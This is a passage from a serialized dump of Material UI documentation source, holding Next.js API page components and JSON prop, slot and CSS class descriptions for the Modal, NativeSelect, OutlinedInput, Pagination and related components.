\"key\": \"positionBottom\",\n      \"className\": \"MuiMobileStepper-positionBottom\",\n      \"description\": \"Styles applied to the root element if `position=\\\"bottom\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"positionStatic\",\n      \"className\": \"MuiMobileStepper-positionStatic\",\n      \"description\": \"Styles applied to the root element if `position=\\\"static\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"positionTop\",\n      \"className\": \"MuiMobileStepper-positionTop\",\n      \"description\": \"Styles applied to the root element if `position=\\\"top\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiMobileStepper\",\n  \"filename\": \"/packages/mui-material/src/MobileStepper/MobileStepper.js\",\n  \"inheritance\": { \"component\": \"Paper\", \"pathname\": \"/material-ui/api/paper/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-stepper/\\\">Stepper</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/modal.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './modal.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/modal', false, /\\.\\/modal.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/modal.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"custom\", \"description\": \"element\" }, \"required\": true },\n    \"open\": { \"type\": { \"name\": \"bool\" }, \"required\": true },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"closeAfterTransition\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"container\": { \"type\": { \"name\": \"union\", \"description\": \"HTML element<br>&#124;&nbsp;func\" } },\n    \"disableAutoFocus\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableEnforceFocus\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disablePortal\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableRestoreFocus\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableScrollLock\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"hideBackdrop\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"keepMounted\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"onClose\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: object, reason: string) => void\",\n        \"describedArgs\": [\"event\", \"reason\"]\n      }\n    },\n    \"onTransitionEnter\": { \"type\": { \"name\": \"func\" } },\n    \"onTransitionExited\": { \"type\": { \"name\": \"func\" } },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ backdrop?: func<br>&#124;&nbsp;object, root?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": { \"name\": \"shape\", \"description\": \"{ backdrop?: elementType, root?: elementType }\" },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"Modal\",\n  \"imports\": [\"import Modal from '@mui/material/Modal';\", \"import { Modal } from '@mui/material';\"],\n  \"slots\": [\n    {\n      \"name\": \"root\",\n      \"description\": \"The component that renders the root.\",\n      \"default\": \"'div'\",\n      \"class\": \"MuiModal-root\"\n    },\n    {\n      \"name\": \"backdrop\",\n      \"description\": \"The component that renders the backdrop.\",\n      \"class\": \"MuiModal-backdrop\"\n    }\n  ],\n  \"classes\": [\n    {\n      \"key\": \"hidden\",\n      \"className\": \"MuiModal-hidden\",\n      \"description\": \"Class name applied to the root element if the `Modal` has exited.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": false,\n  \"muiName\": \"MuiModal\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/Modal/Modal.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-modal/\\\">Modal</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/native-select.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './native-select.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/native-select',\n    false,\n    /\\.\\/native-select.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/native-select.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": {\n      \"type\": { \"name\": \"object\" },\n      \"default\": \"{}\",\n      \"additionalInfo\": { \"cssApi\": true }\n    },\n    \"IconComponent\": { \"type\": { \"name\": \"elementType\" }, \"default\": \"ArrowDropDownIcon\" },\n    \"input\": { \"type\": { \"name\": \"element\" }, \"default\": \"<Input />\" },\n    \"inputProps\": { \"type\": { \"name\": \"object\" } },\n    \"onChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: React.ChangeEvent<HTMLSelectElement>) => void\",\n        \"describedArgs\": [\"event\"]\n      }\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"value\": { \"type\": { \"name\": \"any\" } },\n    \"variant\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'filled'<br>&#124;&nbsp;'outlined'<br>&#124;&nbsp;'standard'\"\n      }\n    }\n  },\n  \"name\": \"NativeSelect\",\n  \"imports\": [\n    \"import NativeSelect from '@mui/material/NativeSelect';\",\n    \"import { NativeSelect } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"disabled\",\n      \"className\": \"Mui-disabled\",\n      \"description\": \"State class applied to the select component `disabled` class.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"error\",\n      \"className\": \"Mui-error\",\n      \"description\": \"State class applied to the select component `error` class.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"filled\",\n      \"className\": \"MuiNativeSelect-filled\",\n      \"description\": \"Styles applied to the select component if `variant=\\\"filled\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"icon\",\n      \"className\": \"MuiNativeSelect-icon\",\n      \"description\": \"Styles applied to the icon component.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"iconFilled\",\n      \"className\": \"MuiNativeSelect-iconFilled\",\n      \"description\": \"Styles applied to the icon component if `variant=\\\"filled\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"iconOpen\",\n      \"className\": \"MuiNativeSelect-iconOpen\",\n      \"description\": \"Styles applied to the icon component if the popup is open.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"iconOutlined\",\n      \"className\": \"MuiNativeSelect-iconOutlined\",\n      \"description\": \"Styles applied to the icon component if `variant=\\\"outlined\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"iconStandard\",\n      \"className\": \"MuiNativeSelect-iconStandard\",\n      \"description\": \"Styles applied to the icon component if `variant=\\\"standard\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"multiple\",\n      \"className\": \"MuiNativeSelect-multiple\",\n      \"description\": \"Styles applied to the select component if `multiple={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"nativeInput\",\n      \"className\": \"MuiNativeSelect-nativeInput\",\n      \"description\": \"Styles applied to the underlying native input component.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"outlined\",\n      \"className\": \"MuiNativeSelect-outlined\",\n      \"description\": \"Styles applied to the select component if `variant=\\\"outlined\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiNativeSelect-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"select\",\n      \"className\": \"MuiNativeSelect-select\",\n      \"description\": \"Styles applied to the select component `select` class.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"standard\",\n      \"className\": \"MuiNativeSelect-standard\",\n      \"description\": \"Styles applied to the select component if `variant=\\\"standard\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiNativeSelect\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/NativeSelect/NativeSelect.js\",\n  \"inheritance\": { \"component\": \"Input\", \"pathname\": \"/material-ui/api/input/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-select/\\\">Select</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/no-ssr.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './no-ssr.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/no-ssr', false, /\\.\\/no-ssr.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/no-ssr.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"defer\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"fallback\": { \"type\": { \"name\": \"node\" }, \"default\": \"null\" }\n  },\n  \"name\": \"NoSsr\",\n  \"imports\": [\"import NoSsr from '@mui/material/NoSsr';\", \"import { NoSsr } from '@mui/material';\"],\n  \"classes\": [],\n  \"spread\": false,\n  \"themeDefaultProps\": null,\n  \"muiName\": \"MuiNoSsr\",\n  \"filename\": \"/packages/mui-material/src/NoSsr/NoSsr.tsx\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-no-ssr/\\\">No SSR</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/outlined-input.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './outlined-input.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/outlined-input',\n    false,\n    /\\.\\/outlined-input.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/outlined-input.json",
    "content": "{\n  \"props\": {\n    \"autoComplete\": { \"type\": { \"name\": \"string\" } },\n    \"autoFocus\": { \"type\": { \"name\": \"bool\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"color\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'primary'<br>&#124;&nbsp;'secondary'<br>&#124;&nbsp;string\"\n      }\n    },\n    \"defaultValue\": { \"type\": { \"name\": \"any\" } },\n    \"disabled\": { \"type\": { \"name\": \"bool\" } },\n    \"endAdornment\": { \"type\": { \"name\": \"node\" } },\n    \"error\": { \"type\": { \"name\": \"bool\" } },\n    \"fullWidth\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"id\": { \"type\": { \"name\": \"string\" } },\n    \"inputComponent\": { \"type\": { \"name\": \"elementType\" }, \"default\": \"'input'\" },\n    \"inputProps\": { \"type\": { \"name\": \"object\" }, \"default\": \"{}\" },\n    \"inputRef\": { \"type\": { \"name\": \"custom\", \"description\": \"ref\" } },\n    \"label\": { \"type\": { \"name\": \"node\" } },\n    \"margin\": { \"type\": { \"name\": \"enum\", \"description\": \"'dense'<br>&#124;&nbsp;'none'\" } },\n    \"maxRows\": { \"type\": { \"name\": \"union\", \"description\": \"number<br>&#124;&nbsp;string\" } },\n    \"minRows\": { \"type\": { \"name\": \"union\", \"description\": \"number<br>&#124;&nbsp;string\" } },\n    \"multiline\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"name\": { \"type\": { \"name\": \"string\" } },\n    \"notched\": { \"type\": { \"name\": \"bool\" } },\n    \"onChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: React.ChangeEvent<HTMLTextAreaElement | HTMLInputElement>) => void\",\n        \"describedArgs\": [\"event\"]\n      }\n    },\n    \"placeholder\": { \"type\": { \"name\": \"string\" } },\n    \"readOnly\": { \"type\": { \"name\": \"bool\" } },\n    \"required\": { \"type\": { \"name\": \"bool\" } },\n    \"rows\": { \"type\": { \"name\": \"union\", \"description\": \"number<br>&#124;&nbsp;string\" } },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ input?: object, notchedOutline?: func<br>&#124;&nbsp;object, root?: object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ input?: elementType, notchedOutline?: elementType, root?: elementType }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"startAdornment\": { \"type\": { \"name\": \"node\" } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"type\": { \"type\": { \"name\": \"string\" }, \"default\": \"'text'\" },\n    \"value\": { \"type\": { \"name\": \"any\" } }\n  },\n  \"name\": \"OutlinedInput\",\n  \"imports\": [\n    \"import OutlinedInput from '@mui/material/OutlinedInput';\",\n    \"import { OutlinedInput } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"adornedEnd\",\n      \"className\": \"MuiOutlinedInput-adornedEnd\",\n      \"description\": \"Styles applied to the root element if `endAdornment` is provided.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"adornedStart\",\n      \"className\": \"MuiOutlinedInput-adornedStart\",\n      \"description\": \"Styles applied to the root element if `startAdornment` is provided.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorSecondary\",\n      \"className\": \"MuiOutlinedInput-colorSecondary\",\n      \"description\": \"Styles applied to the root element if the color is secondary.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"disabled\",\n      \"className\": \"Mui-disabled\",\n      \"description\": \"Styles applied to the root element if `disabled={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"error\",\n      \"className\": \"Mui-error\",\n      \"description\": \"State class applied to the root element if `error={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"focused\",\n      \"className\": \"Mui-focused\",\n      \"description\": \"Styles applied to the root element if the component is focused.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"input\",\n      \"className\": \"MuiOutlinedInput-input\",\n      \"description\": \"Styles applied to the input element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"inputTypeSearch\",\n      \"className\": \"MuiOutlinedInput-inputTypeSearch\",\n      \"description\": \"Styles applied to the input element if `type=\\\"search\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"multiline\",\n      \"className\": \"MuiOutlinedInput-multiline\",\n      \"description\": \"Styles applied to the root element if `multiline={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"notchedOutline\",\n      \"className\": \"MuiOutlinedInput-notchedOutline\",\n      \"description\": \"Styles applied to the NotchedOutline element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiOutlinedInput-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"sizeSmall\",\n      \"className\": \"MuiOutlinedInput-sizeSmall\",\n      \"description\": \"Styles applied to the input element if `size=\\\"small\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiOutlinedInput\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/OutlinedInput/OutlinedInput.js\",\n  \"inheritance\": { \"component\": \"InputBase\", \"pathname\": \"/material-ui/api/input-base/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-number-field/\\\">Number Field</a></li>\\n<li><a href=\\\"/material-ui/react-text-field/\\\">Text Field</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/pagination-item.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './pagination-item.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/pagination-item',\n    false,\n    /\\.\\/pagination-item.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/pagination-item.json",
    "content": "{\n  \"props\": {\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"color\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'primary'<br>&#124;&nbsp;'secondary'<br>&#124;&nbsp;'standard'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'standard'\"\n    },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"disabled\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"nativeButton\": { \"type\": { \"name\": \"bool\" } },\n    \"page\": { \"type\": { \"name\": \"node\" } },\n    \"selected\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"shape\": {\n      \"type\": { \"name\": \"enum\", \"description\": \"'circular'<br>&#124;&nbsp;'rounded'\" },\n      \"default\": \"'circular'\"\n    },\n    \"size\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'small'<br>&#124;&nbsp;'medium'<br>&#124;&nbsp;'large'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'medium'\"\n    },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ first?: func<br>&#124;&nbsp;object, last?: func<br>&#124;&nbsp;object, next?: func<br>&#124;&nbsp;object, previous?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ first?: elementType, last?: elementType, next?: elementType, previous?: elementType }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"type\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'end-ellipsis'<br>&#124;&nbsp;'first'<br>&#124;&nbsp;'last'<br>&#124;&nbsp;'next'<br>&#124;&nbsp;'page'<br>&#124;&nbsp;'previous'<br>&#124;&nbsp;'start-ellipsis'\"\n      },\n      \"default\": \"'page'\"\n    },\n    \"variant\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'outlined'<br>&#124;&nbsp;'text'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'text'\"\n    }\n  },\n  \"name\": \"PaginationItem\",\n  \"imports\": [\n    \"import PaginationItem from '@mui/material/PaginationItem';\",\n    \"import { PaginationItem } from '@mui/material';\"\n  ],\n  \"slots\": [\n    {\n      \"name\": \"first\",\n      \"description\": \"The component that renders the first page slot.\",\n      \"default\": \"FirstPageIcon\",\n      \"class\": null\n    },\n    {\n      \"name\": \"last\",\n      \"description\": \"The component that renders the last page slot.\",\n      \"default\": \"LastPageIcon\",\n      \"class\": null\n    },\n    {\n      \"name\": \"next\",\n      \"description\": \"The component that renders the next page slot.\",\n      \"default\": \"NavigateNextIcon\",\n      \"class\": null\n    },\n    {\n      \"name\": \"previous\",\n      \"description\": \"The component that renders the previous page slot.\",\n      \"default\": \"NavigateBeforeIcon\",\n      \"class\": null\n    }\n  ],\n  \"classes\": [\n    {\n      \"key\": \"colorPrimary\",\n      \"className\": \"MuiPaginationItem-colorPrimary\",\n      \"description\": \"Styles applied to the root element if `color=\\\"primary\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorSecondary\",\n      \"className\": \"MuiPaginationItem-colorSecondary\",\n      \"description\": \"Styles applied to the root element if `color=\\\"secondary\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"disabled\",\n      \"className\": \"Mui-disabled\",\n      \"description\": \"State class applied to the root element if `disabled={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"ellipsis\",\n      \"className\": \"MuiPaginationItem-ellipsis\",\n      \"description\": \"Styles applied to the root element if `type=\\\"start-ellipsis\\\"` or `type=\\\"end-ellipsis\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"firstLast\",\n      \"className\": \"MuiPaginationItem-firstLast\",\n      \"description\": \"Styles applied to the root element if `type=\\\"first\\\"` or type=\\\"last\\\".\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"focusVisible\",\n      \"className\": \"Mui-focusVisible\",\n      \"description\": \"State class applied to the root element if keyboard focused.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"icon\",\n      \"className\": \"MuiPaginationItem-icon\",\n      \"description\": \"Styles applied to the icon to display.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"outlined\",\n      \"className\": \"MuiPaginationItem-outlined\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"outlined\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"page\",\n      \"className\": \"MuiPaginationItem-page\",\n      \"description\": \"Styles applied to the root element if `type=\\\"page\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"previousNext\",\n      \"className\": \"MuiPaginationItem-previousNext\",\n      \"description\": \"Styles applied to the root element if `type=\\\"previous\\\"` or type=\\\"next\\\".\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiPaginationItem-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"rounded\",\n      \"className\": \"MuiPaginationItem-rounded\",\n      \"description\": \"Styles applied to the root element if `rounded=\\\"true\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"selected\",\n      \"className\": \"Mui-selected\",\n      \"description\": \"State class applied to the root element if `selected={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"sizeLarge\",\n      \"className\": \"MuiPaginationItem-sizeLarge\",\n      \"description\": \"Styles applied to the root element if `size=\\\"large\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"sizeSmall\",\n      \"className\": \"MuiPaginationItem-sizeSmall\",\n      \"description\": \"Styles applied to the root element if `size=\\\"small\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"text\",\n      \"className\": \"MuiPaginationItem-text\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"text\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiPaginationItem\",\n  \"forwardsRefTo\": \"HTMLButtonElement\",\n  \"filename\": \"/packages/mui-material/src/PaginationItem/PaginationItem.js\",\n  \"inheritance\": { \"component\": \"ButtonBase\", \"pathname\": \"/material-ui/api/button-base/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-pagination/\\\">Pagination</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/pagination.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './pagination.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/pagination',\n    false,\n    /\\.\\/pagination.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/pagination.json",
    "content": "{\n  \"props\": {\n    \"boundaryCount\": { \"type\": { \"name\": \"custom\", \"description\": \"integer\" }, \"default\": \"1\" },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"color\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'primary'<br>&#124;&nbsp;'secondary'<br>&#124;&nbsp;'standard'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'standard'\"\n    },\n    \"count\": { \"type\": { \"name\": \"custom\", \"description\": \"integer\" }, \"default\": \"1\" },\n    \"defaultPage\": { \"type\": { \"name\": \"custom\", \"description\": \"integer\" }, \"default\": \"1\" },\n    \"disabled\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"getItemAriaLabel\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(type: string, page: number | null, selected: boolean) => string\",\n        \"describedArgs\": [\"type\", \"page\", \"selected\"]\n      }\n    },\n    \"hideNextButton\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"hidePrevButton\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"onChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: React.ChangeEvent<unknown>, page: number) => void\",\n        \"describedArgs\": [\"event\", \"page\"]\n      }\n    },\n    \"page\": { \"type\": { \"name\": \"custom\", \"description\": \"integer\" } },\n    \"renderItem\": {\n      \"type\": { \"name\": \"func\" },\n      \"default\": \"(item) => <PaginationItem {...item} />\",\n      \"signature\": {\n        \"type\": \"function(params: PaginationRenderItemParams) => ReactNode\",\n        \"describedArgs\": [\"params\"]\n      }\n    },\n    \"shape\": {\n      \"type\": { \"name\": \"enum\", \"description\": \"'circular'<br>&#124;&nbsp;'rounded'\" },\n      \"default\": \"'circular'\"\n    },\n    \"showFirstButton\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"showLastButton\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"siblingCount\": { \"type\": { \"name\": \"custom\", \"description\": \"integer\" }, \"default\": \"1\" },\n    \"size\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'small'<br>&#124;&nbsp;'medium'<br>&#124;&nbsp;'large'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'medium'\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"variant\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'outlined'<br>&#124;&nbsp;'text'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'text'\"\n    }\n  },\n  \"name\": \"Pagination\",\n  \"imports\": [\n    \"import Pagination from '@mui/material/Pagination';\",\n    \"import { Pagination } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"outlined\",\n      \"className\": \"MuiPagination-outlined\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"outlined\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiPagination-root\",\n      \"description\": \"Styles applied to the root element.\",\n      